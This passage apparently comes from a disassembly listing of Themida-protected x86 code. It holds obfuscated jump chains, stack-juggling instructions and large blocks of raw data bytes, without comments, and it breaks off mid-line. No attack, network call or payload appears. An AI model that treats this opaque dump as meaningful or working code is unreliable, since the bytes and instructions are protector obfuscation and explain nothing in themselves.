89FFFF16h, 4832424h, 148B0424h dd 4C48124h, 57000000h, 4BFh, 5FFA0100h, 4BF57h, 0EA810000h dd 166A29A6h, 0FF4F1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1F81: ; CODE XREF: Themida_:0059F9D1j xchg esi, [esp] pop esp mov [esp], esi jmp loc_592AC2 ; --------------------------------------------------------------------------- db 4Ah, 81h, 0C2h dd 0B7AE1028h, 89D38953h, 24E95BDEh, 89000023h, 0B9512414h dd 48244156h, 0B0E9CA89h, 87000027h, 0E95C243Ch, 0FFFF63C4h dd 0A6F7815Fh, 0E920C624h, 0FFFF31A0h ; --------------------------------------------------------------------------- loc_5A1FC4: ; CODE XREF: Themida_:00591E25j mov edx, 3752263Bh mov esi, 0C8ADD9C9h add esi, edx pop edx add edx, esi pop esi jmp loc_595BF7 ; --------------------------------------------------------------------------- loc_5A1FD9: ; CODE XREF: Themida_:0059CB84j xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push eax push 748Ch jmp loc_59315C ; --------------------------------------------------------------------------- loc_5A1FEE: ; CODE XREF: Themida_:005A14E0j mov [esp], eax jmp loc_5938E9 ; --------------------------------------------------------------------------- loc_5A1FF6: ; CODE XREF: Themida_:0059565Ej mov edx, 9DDADF37h push ebx mov ebx, 57A86A9Bh xor ebx, 639556C4h sub ebx, 791F6C2Fh xor ebx, 0CAE8BAF7h sub edx, ebx jmp loc_5A2CCC ; --------------------------------------------------------------------------- loc_5A201A: ; CODE XREF: Themida_:005A16C3j sub ebp, 0E7CFDA6Bh add edx, ebp jmp loc_5930D7 ; --------------------------------------------------------------------------- db 51h dd 268h, 2434FF00h, 4C48359h, 0D7E9C801h, 1FFFEF1h, 0A3C281CAh dd 59069A6Bh, 31241433h, 14332414h, 48F5C24h, 24248B24h dd 0FF240489h, 525B2434h, 0C281E289h, 4, 0FFCA42E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2069: ; CODE XREF: Themida_:0059FE51j mov [esp], esi mov esi, 439B1336h mov ecx, esi jmp loc_595375 ; --------------------------------------------------------------------------- loc_5A2078: ; CODE XREF: Themida_:005A0BD5j not dword ptr [esp] pop ecx jmp loc_5A32E8 ; --------------------------------------------------------------------------- db 2Ch, 0CFh, 8Bh dd 0C483241Ch, 2434FF04h, 83240C8Bh, 60E904C4h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2097: ; CODE XREF: Themida_:005A0B09j xor ebx, ecx jmp loc_596F0D ; --------------------------------------------------------------------------- dw 815Eh dd 0A3BB15F2h, 0E9D7891Bh, 0FFFEFDECh ; --------------------------------------------------------------------------- loc_5A20AC: ; CODE XREF: Themida_:0059AD4Fj add eax, 3199541Eh sub eax, ebx push ebx jmp loc_599B1B ; --------------------------------------------------------------------------- loc_5A20B9: ; CODE XREF: Themida_:00594582j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp xor [esp], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- dd 4E2C142h, 0A541EA81h, 0C6812923h, 61A257A3h, 85E9D601h dd 68FFFF14h, 0E52344Ah, 53D2F75Ah, 8904EC83h, 0D0682434h dd 0E9035378h, 0FFFFDF21h, 0D8007B04h, 0B2527B2Ch, 802CE9B1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A211E: ; CODE XREF: Themida_:00591D30j push ebx jmp loc_598DD9 ; --------------------------------------------------------------------------- dd 8B54535Bh, 0C483241Ch, 4EC8304h, 0B8240489h, 4, 0FF66FAE9h dd 5B5853FFh, 0FFD5D7E9h, 8BD701FFh, 0C4832414h, 243C3304h dd 33243C31h, 248B243Ch, 0E93DE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A215E: ; CODE XREF: Themida_:0059F998j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_59A43F ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 4BE5600h, 1000000h, 0FF505EF0h, 8B042474h, 0C4832404h dd 24048F04h, 0E905E95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A2196: ; CODE XREF: Themida_:0059AC43j push ebx jmp loc_596AC1 ; --------------------------------------------------------------------------- loc_5A219C: ; CODE XREF: Themida_:00592933j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], cx jmp loc_5930E3 ; --------------------------------------------------------------------------- db 50h, 0E9h, 38h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A21B7: ; CODE XREF: Themida_:0059BD15j push 1DD7h jmp loc_594016 ; --------------------------------------------------------------------------- db 81h, 0EFh, 53h dd 812F0718h, 1C5526EFh, 72E95E6Dh, 8BFFFFB5h, 34FF2424h dd 0F08AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A21DE: ; CODE XREF: Themida_:005914EFj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xchg eax, [esp] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 0E3Eh jmp loc_59BF44 ; --------------------------------------------------------------------------- db 58h dd 0C8BCB28h, 4C48124h, 81000000h, 2ECh, 0CFD7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2226: ; CODE XREF: Themida_:0059CC63j pop esp mov eax, [esp] add esp, 4 jmp loc_5A2DBF ; --------------------------------------------------------------------------- dw 48Bh dd 0E6895624h, 4C681h, 0EE810000h, 4, 0E9243433h, 19D7h dd 2C8BEB01h, 0E2895224h, 4C281h, 0EC830000h, 24348904h dd 4BEh, 5EF20100h, 5C241487h, 2474FF53h, 241C8B04h, 148B5452h dd 0D593E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A227E: ; CODE XREF: Themida_:0059AF1Ej push 1896h mov [esp], ebp push 2CCh mov [esp], esp push 2BF7h jmp loc_59EF4C ; --------------------------------------------------------------------------- dd 5204C483h, 410B68h, 241C8900h, 5124148Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 815B5C24h, 5D1812F2h, 104E2D5Fh dd 0D001196Bh, 6B104E05h, 2434FF19h, 0E92434FFh, 0FFFF0086h ; --------------------------------------------------------------------------- loc_5A22D8: ; CODE XREF: Themida_:0059A698j mov eax, [esp] push 2715h jmp loc_5A3379 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 536E9h db 0 ; --------------------------------------------------------------------------- loc_5A22ED: ; CODE XREF: Themida_:0059CB8Aj add esi, ecx sub esi, 29DF605Ah push dword ptr [esp] pop ecx add esp, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_591465 ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 8B243C87h, 34892424h, 83E68924h, 148904ECh, 447DBA24h dd 0E2812DC2h, 5CC93379h, 0E281DAF7h, 79BF4DCCh, 4D80EA81h dd 0D601713Fh, 3AE9555Ah, 8BFFFF4Bh, 0C4812414h, 4, 0FF9B12E9h dd 243C89FFh, 0FF770CE9h, 0E735E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A2366: ; CODE XREF: Themida_:005914C9j add esi, eax pop eax mov edx, [esp] add esp, 4 jmp loc_59DEEA ; --------------------------------------------------------------------------- dd 0E67391B9h, 0ECBB5364h, 812C8665h, 0AD6381F3h, 55EB815Bh dd 0E960A1C9h, 0FFFF2C62h ; --------------------------------------------------------------------------- loc_5A2390: ; CODE XREF: Themida_:005A472Cj shr ebx, 7 sub ebx, 3D604A6Ch inc ebx inc ebx jmp loc_592938 ; --------------------------------------------------------------------------- dd 10833540h, 0F0D57E1h, 0E9342C04h, 0FFFF8019h, 53C6F681h dd 0EC812D9Bh, 4, 0BB241C89h, 78130FABh, 0FFDB75E9h, 25E949FFh dd 50FFFF96h, 937CE168h, 18055857h, 89BC26C9h, 0EA9E9C2h dd 2489FFFFh, 24048324h, 5F685904h, 0E9000035h, 0FFFF0BF2h dd 3CE95966h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A23FB: ; CODE XREF: Themida_:00590C4Aj sub esp, 4 mov [esp], ebx mov ebx, 493C6FD8h push ebp jmp loc_59A41F ; --------------------------------------------------------------------------- loc_5A240F: ; CODE XREF: Themida_:0059C1E6j shl dl, 5 dec dl not dl neg dl shr dl, 5 shl dl, 2 push ecx mov ch, 98h push ebx mov bh, 99h add ch, bh pop ebx jmp loc_59B957 ; --------------------------------------------------------------------------- loc_5A242C: ; CODE XREF: Themida_:0059530Ej xor ebx, esi pop esi jmp loc_59292F ; --------------------------------------------------------------------------- dd 0D4E9D089h, 8FFFFF31h, 248B2404h, 0D9A0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2446: ; CODE XREF: Themida_:00597FAEj add eax, 23D70941h pop ebp jmp loc_59E8F8 ; --------------------------------------------------------------------------- loc_5A2451: ; CODE XREF: Themida_:005A277Dj push 4 jmp loc_5A1132 ; --------------------------------------------------------------------------- db 89h dd 0BBF243Ch, 10818FDh, 0D9315FFBh, 83241C8Bh, 4F8904C4h dd 5FF75920h, 20B85020h, 1000000h, 0BCCE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2482: ; CODE XREF: Themida_:005A300Ej push eax mov ah, 4Ch jmp loc_5A0ADB ; --------------------------------------------------------------------------- dw 0BB53h dd 15553629h, 0FFD0DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2495: ; CODE XREF: Themida_:0059E239j push dword ptr [esp] mov ebx, [esp] jmp loc_59C42A ; --------------------------------------------------------------------------- dd 0C89665Ch, 0E5F1E924h, 3540FFFEh, 73F1479h, 8358C101h dd 0C8702C1h, 956AE924h, 9068FFFFh, 59274C2Ah, 2A92F181h dd 0CB89274Ch, 57BB5359h, 81621914h, 0C31B1BC3h, 8E0EE91Ch dd 0E889FFFFh, 4E8C15Dh, 175DF80Dh, 40D8F72Eh, 0AB676105h dd 67B5E952h, 0E959FFFFh, 0FFFFEFF3h, 8105E3C1h, 0E91ACCF3h dd 51C38165h, 1203463h, 0CD895BD9h, 14F75559h, 2434FF24h dd 4C4815Dh, 0E9000000h, 0FFFF13DCh ; --------------------------------------------------------------------------- loc_5A2524: ; CODE XREF: Themida_:0059D530j pop esp push esi push 0 pop esi sub esi, edi xchg esi, edi pop esi or edi, 5E13512Ah dec edi sub edi, 1 push 6177h mov [esp], eax mov eax, 9350FAD4h add edi, eax mov eax, [esp] jmp loc_5A4C8E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 1F110948h shl edi, 8 jmp loc_5978A8 ; --------------------------------------------------------------------------- loc_5A2569: ; CODE XREF: Themida_:00596935j sub ebx, 557275EEh add ebx, esi jmp loc_599639 ; --------------------------------------------------------------------------- dw 815Ah dd 0D82756C3h, 0DB9EE94Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2582: ; CODE XREF: Themida_:005912B6j pop ecx add ebx, eax add ebx, 14BF68F9h sub ebx, 478D574Fh push edi mov edi, 61DC0069h add ebx, edi mov edi, [esp] add esp, 4 jmp loc_5A55A5 ; --------------------------------------------------------------------------- db 68h dd 6275h, 83242489h, 5F042404h, 4C781h, 4EE90000h, 54FFFFACh dd 0FF72A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A25C5: ; CODE XREF: Themida_:0059957Aj mov edx, [esp] add esp, 4 or eax, eax jz loc_59CAFB push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] push dword ptr [esp] mov ebx, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 jmp loc_59971C ; --------------------------------------------------------------------------- dw 0F280h dd 5AD5886Bh, 1FE95366h, 0BEFFFF3Ah, 1080305h, 0E95EF129h dd 0FFFF38ECh ; --------------------------------------------------------------------------- loc_5A2620: ; CODE XREF: Themida_:0059E325j push 2528h mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_593587 ; --------------------------------------------------------------------------- loc_5A2640: ; CODE XREF: Themida_:0059D68Fj pop ebx sub esp, 4 mov [esp], ecx mov ecx, 1B284431h sub ecx, 64C9107Bh push edi mov edi, esp add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], ebx push eax mov eax, 6DE0CFBh jmp loc_59D0BA ; --------------------------------------------------------------------------- dw 315Ah dd 6DE95FF8h, 59FFFF55h, 45C9C681h, 0FE01290Bh, 45C9EE81h dd 3C8B290Bh, 4C48324h, 46850h, 1580000h, 24048BC6h, 4C481h dd 34330000h, 24343124h, 0E9243433h, 19C3h, 0E92434FFh dd 0FFFFB5B8h, 67A4C281h, 34FF2BEAh, 0C4815E24h, 4, 86768h dd 24148900h, 7240481h, 5851F87Ch, 0F87C072Dh, 2434FF51h dd 152FE9h, 66DF3500h, 743524C9h, 0E9164344h, 0FFFF0098h dd 88536AB2h, 0E5C0E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 78F9h mov [esp], edx mov edx, 4 jmp loc_5934E3 ; --------------------------------------------------------------------------- loc_5A271D: ; CODE XREF: Themida_:00594E73j or ebx, 242654D1h dec ebx sub ebx, 7DD06695h xor ebp, ebx pop ebx mov edx, ebp pop ebp sub edx, edi pop edi and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_595941 ; --------------------------------------------------------------------------- db 89h, 0E2h, 0E9h dd 0FFFF76FFh ; --------------------------------------------------------------------------- loc_5A2748: ; CODE XREF: Themida_:005A15ECj mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push 783Eh mov [esp], eax push esp pop eax push 4B0h mov [esp], ebp jmp loc_5A2451 ; --------------------------------------------------------------------------- loc_5A2782: ; CODE XREF: Themida_:005A02B6j shl edi, 7 dec edi and edi, 3DCC0215h dec edi add edi, 0C373FDEBh sub esi, edi pop edi sub esi, 0FFFFFFFFh jmp loc_59965C ; --------------------------------------------------------------------------- dw 148Bh dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0C55E9h db 0 ; --------------------------------------------------------------------------- loc_5A27B9: ; CODE XREF: Themida_:005A00E2j mov eax, [esp] add esp, 4 add eax, 4 sub esp, 4 jmp loc_5A43CD ; --------------------------------------------------------------------------- dword_5A27CC dd 240C8B66h, 50168h, 24348900h, 0FFC3F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A27DD: ; CODE XREF: Themida_:0059359Fj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, esp push 708Ch mov [esp], edx push 5AD06E5Fh jmp loc_598B58 ; --------------------------------------------------------------------------- byte_5A2801 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00590A18o dd 91E924h, 4890000h, 0E289E924h, 0E0D1FFFEh, 0C083D8F7h dd 0E3FD3501h, 2CE95702h, 5CFFFF09h, 0E9242489h, 0FFFEE7BEh dd 0C175B6BFh, 68DFF775h, 790Eh, 56241489h, 43196853h dd 49E960C0h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2847: ; CODE XREF: Themida_:005A0430j push edi push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp push ebp jmp loc_59413F ; --------------------------------------------------------------------------- loc_5A2858: ; CODE XREF: Themida_:005A1DB9j xor [esp], esi xor esi, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi push esp mov edi, [esp] push edx jmp loc_59A294 ; --------------------------------------------------------------------------- loc_5A2876: ; CODE XREF: Themida_:0059559Ej pop edx sub ebp, edx sub ebp, 7C9F2D41h pop edx push ebp jmp loc_5A2F9A ; --------------------------------------------------------------------------- dw 0C8Bh dd 10E95024h db 11h, 2 dup(0) byte_5A288F db 0ADh ; DATA XREF: Themida_:00590938o dd 1BF4BD55h, 9EE90447h, 68FFFFA3h, 3604h, 53243C89h, 2968E389h dd 0E9000015h, 0BF9h, 34FFEA89h, 242C8B24h, 8304C483h dd 0CA8104C4h, 1CBF6007h, 9304E952h, 0C829FFFFh, 6C40F92Dh dd 86355932h, 292CC8B5h, 0DF0158C3h, 4AE95D5Bh, 81000017h dd 7098F8EDh, 20E9E92Bh, 2C870000h, 7AA6E924h db 2 dup(0FFh) word_5A28F6 dw 0EC81h ; DATA XREF: Themida_:00590998o dd 4, 56243489h, 0DC685E54h, 8900006Ch, 4BA2414h, 81000000h dd 762D70C6h, 81D6013Eh, 762D70EEh, 45E95A3Eh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2923: ; CODE XREF: Themida_:005A5BECj mov edi, [esp] add esp, 4 xchg eax, [esp] jmp loc_59691A ; --------------------------------------------------------------------------- dd 0FFBF5752h, 0E92CFE2Dh, 0FFFF39B6h, 235CED81h, 81556E61h dd 186A242Ch, 815E0143h, 43186AC6h, 0F5295D01h, 242C335Eh dd 33242C31h, 895C242Ch, 74E92414h db 26h, 2 dup(0) byte_5A296B db 66h ; DATA XREF: Themida_:005908B0o dd 0E9240C8Bh, 0FFFF7A74h, 0FD88E95Ch, 0BD55FFFFh, 3D255D91h dd 0C246C01h, 2444815Dh, 261AA008h, 246C010Bh, 0C3E95608h dd 5EFFFF90h, 7C547005h, 3675E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A29A2: ; CODE XREF: Themida_:005A10BDj add ebx, 4 add ebx, 4 jmp loc_59CFA1 ; --------------------------------------------------------------------------- dd 585E3868h, 0DDF75D34h, 0FF2C32E9h, 87CF29FFh, 0F156E9F9h dd 348BFFFEh, 4C48124h, 56000000h, 0FF2AD6E9h, 48F54FFh dd 24048324h, 0C3815B04h, 4, 7F6368h, 242C8900h, 4BDh dd 88EB8100h, 813F076Ch, 6F3199EBh, 0E8C1E976h, 0CC88FFFFh dd 0E388D988h, 86D1F658h, 4EC83CBh, 0B6241489h, 3707E905h dd 8358FFFFh, 3C8B04C4h, 4C48324h, 2E5768h, 242C8900h dd 4BDh, 8BEF0100h, 0C481242Ch, 4, 8702C783h, 248B243Ch dd 9CC88424h, 0FEE04EE9h, 687168FFh, 1C890000h, 76D5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2A5A: ; CODE XREF: Themida_:0059B764j push eax mov eax, 404F447Bh and ebp, eax pop eax push ecx mov ecx, 5CF021A0h add ebp, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, ebp mov ebp, [esp] push edx mov edx, esp push eax mov eax, 249866F5h jmp loc_59F7D3 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FF23DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2A99: ; CODE XREF: Themida_:00593E7Aj mov edx, esp jmp loc_59AD35 ; --------------------------------------------------------------------------- loc_5A2AA0: ; CODE XREF: Themida_:0059F5EBj sub al, bl pop ebx jmp loc_59C1C4 ; --------------------------------------------------------------------------- dd 8324348Bh, 0F02104C4h, 8B2434FFh, 52572434h, 0C2815A54h dd 4, 4EA81h, 0EC810000h, 4, 0E9241489h, 0FFFFE1D5h, 81240C89h dd 4ECh, 24148900h, 4BAh, 8BD18900h, 0C4832414h, 38EA8104h dd 15F5205h, 38C281CAh, 0FF5F5205h, 81592434h, 4C4h, 24148700h dd 0E924248Bh, 0FFFFFBA4h ; --------------------------------------------------------------------------- loc_5A2B10: ; CODE XREF: Themida_:005A19FFj sub esp, 4 jmp loc_59A940 ; --------------------------------------------------------------------------- dd 8B243487h, 83E92424h db 0E3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A2B23: ; CODE XREF: Themida_:0059A58Cj pop edx xor edx, 2FB0713h jmp loc_59CBA2 ; --------------------------------------------------------------------------- loc_5A2B2F: ; CODE XREF: Themida_:005A5528j push ecx jmp loc_59DD6E ; --------------------------------------------------------------------------- db 68h, 0C1h, 13h dd 3C890000h, 4BF24h, 0F3E90000h, 81FFFF26h, 0C7312C9h dd 87C1811Ah, 292B742Fh, 0DF0159CBh, 897E9h, 29C7BB00h dd 0EB815C0Eh, 5C0E29C5h, 4BE9D989h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2B6F: ; CODE XREF: Themida_:0059D5E9j shr edx, 2 and edx, 748E37DAh push 3AB6h mov [esp], edi mov edi, 3340907h add edx, edi pop edi push eax jmp loc_59E61D ; --------------------------------------------------------------------------- loc_5A2B8E: ; CODE XREF: Themida_:005933DBj push edi mov edi, 4 add esi, edi jmp loc_59AFD7 ; --------------------------------------------------------------------------- db 46h dd 436FEE81h, 0EE814BD9h, 0F03293C3h, 99404D05h, 2DF02927h dd 2799404Dh, 0FF510CE9h, 25B850FFh, 31121A8Eh, 0AD10E9C3h dd 0E95FFFFFh, 0FFFFDAD3h, 81E18951h, 4C1h, 4C18100h, 87000000h dd 0F5C240Ch, 34FFC0B6h, 4EC8387h, 0BE243489h, 3FCh, 46BE56h dd 0BA527A12h, 334A6A5Eh, 15AD701h, 163EE9F7h, 8358FFFFh dd 348704C6h, 4335C24h, 24043124h, 0E9240433h, 0FFFEDF77h dd 0E6146835h, 51D8F723h, 0FEE0FCB9h, 59C801C8h, 0F5E9C731h dd 8BFFFF43h, 1C892424h, 3B8E6824h, 24890000h, 4EC8324h dd 50243489h, 88561068h, 0BE685833h, 8900000Fh, 0CBF243Ch dd 29338856h, 0C6895FF8h, 8124048Bh, 4C4h, 251E900h, 0D5870000h dd 37E5ED81h, 0F58113B8h, 90594893h, 0FFAB5CE9h, 0E38953FFh dd 4C381h, 0BD550000h, 4, 0FEDFC8E9h, 0F8BD55FFh, 317EAF6Fh dd 0BBE3E9EAh, 335BFFFFh, 5FE9243Ch, 87000023h, 0BFE9243Ch dd 0BAFFFF73h, 4, 79C56850h, 15858C5h, 24048BC6h, 0E9E08950h dd 0FFFF0F09h ; --------------------------------------------------------------------------- loc_5A2CCC: ; CODE XREF: Themida_:005A2015j mov ebx, [esp] add esp, 4 sub edx, ebx add edx, 71F56AC7h pop ebx or ebp, edx pop edx push eax push ecx mov ecx, 0A904366h mov eax, ecx jmp loc_59B9E5 ; --------------------------------------------------------------------------- dd 2404895Ch, 0A0233AB8h, 0FB18E94Bh, 0E950FFFFh, 0FFFF67A6h ; --------------------------------------------------------------------------- loc_5A2D00: ; CODE XREF: Themida_:0059F4BEj xor edx, ecx mov ecx, [esp] add esp, 4 push 5E9Eh mov [esp], edx add dword ptr [esp], 37A231Dh pop ebx sub ebx, 37A231Dh pop edx add ebx, 85C38665h and eax, ebx jmp loc_592503 ; --------------------------------------------------------------------------- dd 0F4C2E952h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A2D32: ; CODE XREF: Themida_:0059141Dj sub ebx, eax jmp loc_59C4D8 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FF6137E9h, 57ED80FFh, 66FFED80h, 0BE5BE953h, 0E952FFFFh dd 0DBCh ; --------------------------------------------------------------------------- loc_5A2D54: ; CODE XREF: Themida_:005A1948j sub edi, 3A4867DCh mov ecx, [esp] add esp, 4 jmp loc_598CEE ; --------------------------------------------------------------------------- loc_5A2D65: ; CODE XREF: Themida_:0059E0EAj push dword ptr [esp+4] jmp loc_59EA90 ; --------------------------------------------------------------------------- dw 1C87h dd 2C8B5C24h, 4C48324h, 0FF1B86E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2D7D: ; CODE XREF: Themida_:005A5817j add esp, 4 sub esi, 359F323Fh add esi, ebp jmp loc_59727A ; --------------------------------------------------------------------------- byte_5A2D8D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005909A4o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 7E65147Bh shr ecx, 8 push ecx not dword ptr [esp] pop ecx sub ecx, 0FF819AE7h jmp loc_5A39D2 ; --------------------------------------------------------------------------- loc_5A2DAD: ; CODE XREF: Themida_:005920E4j mov ch, 4Fh sub bl, ch pop ecx sub bl, al add bl, 4Fh add bl, 0B9h jmp loc_5A2FC0 ; --------------------------------------------------------------------------- loc_5A2DBF: ; CODE XREF: Themida_:005A222Dj mov eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_59D937 ; --------------------------------------------------------------------------- db 89h dd 3A682414h, 8900007Ch, 0BF572404h, 30F1E4Eh, 7E28F781h dd 40E90D8Fh, 80FFFF8Dh, 0CE28E0C1h, 0A8B45059h, 0C480C4FEh dd 84C48001h, 1DA4E9h, 2C895C00h, 3B1EBD24h, 5FE927AAh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2E1B: ; CODE XREF: Themida_:00595016j pop ebp pop dword ptr [esp] mov esp, [esp] and [esp], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A2E2B: ; CODE XREF: Themida_:0059C7CCj pop esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 jmp loc_5999D4 ; --------------------------------------------------------------------------- dd 82DAC181h, 0CF89BB31h, 0FFF6A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2E55: ; CODE XREF: Themida_:005916C2j pop ecx push 0 sub [esp], eax pop eax sub eax, 0E2842C97h jmp loc_59921A ; --------------------------------------------------------------------------- db 0BDh, 5Bh, 9 dd 0EA29593Ah, 53C2015Dh, 3A095BBBh, 5BDA0159h, 1B24E958h dd 248B0000h, 0EBB1E924h, 0C800FFFEh, 6659682Ch, 661AD968h dd 0B4240489h, 80D4F697h, 0ECC0DDECh, 5CEFE905h, 0B1B0FFFFh dd 0CCE9C188h, 8BFFFF3Bh, 0C483240Ch, 43D6804h, 0D7E90000h dd 1FFFFCDh, 0E9042474h, 0FFFEFE12h ; --------------------------------------------------------------------------- loc_5A2EC8: ; CODE XREF: Themida_:0059EBF9j mov edx, esp jmp loc_5989AA ; --------------------------------------------------------------------------- loc_5A2ECF: ; CODE XREF: Themida_:0059964Cj push 1 push dword ptr [esp] pop edi jmp loc_59D383 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 304BE8CAh, 3373E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2EEA: ; CODE XREF: Themida_:005A4CF3j push ecx jmp loc_59CDA0 ; --------------------------------------------------------------------------- dd 0EEC1E6D1h, 18BF5702h, 1FDAB10h, 0EC835FFEh, 24348904h dd 0FF6D32E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2F09: ; CODE XREF: Themida_:0059F890j pop esp shr eax, 18h xor eax, ecx push 3B3Ch mov [esp], eax push edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_5931E1 ; --------------------------------------------------------------------------- dd 5324248Bh, 6BC7E954h, 685DFFFFh, 7F21h, 68243489h, 5DBDh dd 52242C89h, 55624FBAh, 8BD58948h, 0C4812414h, 4, 0AA9DB3BEh dd 43EE81B7h, 15BD82Eh, 43C681EEh, 0E95BD82Eh, 2991h ; --------------------------------------------------------------------------- loc_5A2F68: ; CODE XREF: Themida_:005997D6j mov esi, 13DF0670h mov ebp, esi mov esi, [esp] add esp, 4 push 20D1h mov [esp], esi push 634144F0h push dword ptr [esp] pop esi add esp, 4 jmp loc_5A1DC3 ; --------------------------------------------------------------------------- dw 815Ah dd 4ECh, 0A188E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2F9A: ; CODE XREF: Themida_:005A2881j push dword ptr [esp+4] jmp loc_5932CC ; --------------------------------------------------------------------------- loc_5A2FA3: ; CODE XREF: Themida_:0059B8B1j mov [esp], edx mov dh, cl push ecx mov cl, dh jmp loc_596E98 ; --------------------------------------------------------------------------- dd 4C781h, 3C870000h, 0E9505C24h, 0DCBh ; --------------------------------------------------------------------------- loc_5A2FC0: ; CODE XREF: Themida_:005A2DBAj pop eax add bl, 4Ch movzx eax, al pop small word ptr [edi+eax*4] jmp loc_59A642 ; --------------------------------------------------------------------------- loc_5A2FD0: ; CODE XREF: Themida_:0059D01Dj mov ebp, ebx mov ebx, [esp] add esp, 4 and eax, ebp jmp loc_5A15D4 ; --------------------------------------------------------------------------- loc_5A2FDF: ; CODE XREF: Themida_:0059EC77j add eax, 4 jmp loc_59B7DD ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8B542434h, 54552434h, 0FF958CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2FFD: ; CODE XREF: Themida_:0059A8BDj pop ebp jmp loc_59DC0C ; --------------------------------------------------------------------------- db 29h dd 3044E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A300A: ; CODE XREF: Themida_:005921B8j pop edx or cl, bl pop ebx jmp loc_5A2482 ; --------------------------------------------------------------------------- db 50h dd 4B5199B8h, 58C2014Ah, 6A3EE81h, 8AE9375Fh, 66FFFF18h dd 6EE9D689h, 81FFFF71h, 0D21336F6h, 0EDF6812Eh, 1912E78h dd 0ABE95EF2h, 80000026h, 0F028F5C6h, 0F0C2E95Ah, 3081FFFFh dd 2594285Bh, 0FF1EA8E9h, 0E8835AFFh, 0CCBAE904h, 835EFFFFh dd 0C68101C6h, 4174233Ah, 9BA5253h, 891E9235h, 0EB815AD3h dd 24F271F6h, 3E6AF381h, 0D3F75296h, 8904EC83h, 0DEE9242Ch dd 89FFFF2Eh, 74FF2434h, 34FF0424h, 0C4815E24h, 4, 8B24048Fh dd 8B662424h, 